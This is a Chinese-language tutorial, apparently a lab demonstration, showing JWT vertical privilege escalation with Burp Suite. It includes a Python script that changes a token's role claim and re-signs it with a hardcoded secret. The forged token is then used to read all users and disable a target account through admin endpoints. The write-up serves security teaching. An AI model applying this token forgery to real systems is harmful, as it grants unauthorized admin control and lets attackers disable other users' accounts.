JWT又称JSON Web Token, 是目前最流行的跨域认证解决方案。垂直越权,是一种常见的访问控制缺陷。它指的是低权限用户(如普通注册用户)能够执行或访问只有高权限用户(如管理员)才能操作的功能。
当后端服务只验证了JWT是否有效,却没有验证当前用户是否真的拥有token中所声明的角色时,就会形成JWT垂直越权漏洞。攻击者可以通过修改token中的role字段,将普通用户提升为管理员。
这次测试我们使用到的工具为Burp Suite,下面开始演示。首先打开Burp Suite,点击代理并打开内置浏览器,并在浏览器中进行普通用户登录的操作。发送登录请求后,返回Burp Suite点击HTTP history查看数据包。
我们可以看到,捕获的数据包中有一条包含JWT数据,点击并查看Response,其中data后面的一长串数据就是我们的JWT Token,复制保存。下一步我们进行对照试验,目的是证明用户不能直接越权管理员并使用管理员的查询功能。
我们随意选择一条带有JWT的数据包,右键选择Sent to Repeater,在点击顶部的Repeater。
我们将头部的访问用户的接口路径改为访问管理员查询用户的接口路径,点击发送,头部响应200返回code:400证明我们无法直接越权管理员。下面我们开始伪造签名进行越权。
为了简化步骤,我们直接使用Python进行重签。首先将我们复制的JWT Token进行解码,并篡改启用的role声明,最后使用相同的签名算法对修改后的JWT Token从新签名。
import base64, json, hmac, hashlib, sys def b64url(data: bytes) -> str: return base64.urlsafe_b64encode(data).rstrip(b"=").decode() def b64url_decode(s: str) -> bytes: s += "=" * (-len(s) % 4) return base64.urlsafe_b64decode(s) key = base64.b64decode("campus-food-2024-secret-" + "=") JWT = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI2Iiwicm9sZSI6MCwiaWF0IjoxNzgzNzEyMzI2LCJleHAiOjE3ODM3OTg3MjZ9.vq6HBhtEe_KRVN0yTMTaLkuT7XDc7NxF6UAHFZqYxU0" token = sys.argv[1] if len(sys.argv) > 1 else JWT.strip() header, payload, _sig = token.split(".") payload_obj = json.loads(b64url_decode(payload)) payload_obj["role"] = 1 new_body = b64url(json.dumps(payload_obj, separators=(",", ":")).encode()) new_sig = b64url(hmac.new(key, f"{header}.{new_body}".encode(), hashlib.sha256).digest()) print(f"{header}.{new_body}.{new_sig}")将伪造的新签名替换原来的旧签名,点击发送,我们发现服务器返回了所有的用户信息,记得我们的目标用户ID,以免误伤其它数据照成损失。为了方便阅读,我们新开一个窗口,将管理员禁用用户的路径和参数粘贴进来,点击发送,看到成功返回了code:200。再次使用浏览器登录目标用户,显示账号禁用。
免责声明:文章中涉及的程序 (方法)可能带有攻击性,仅供安全研究与教学之用,请勿对未经授权的系统进行测试。读者将其信息做其他用途,由读者承担全部法律及连带责任,本人不承担任何法律及连带责任。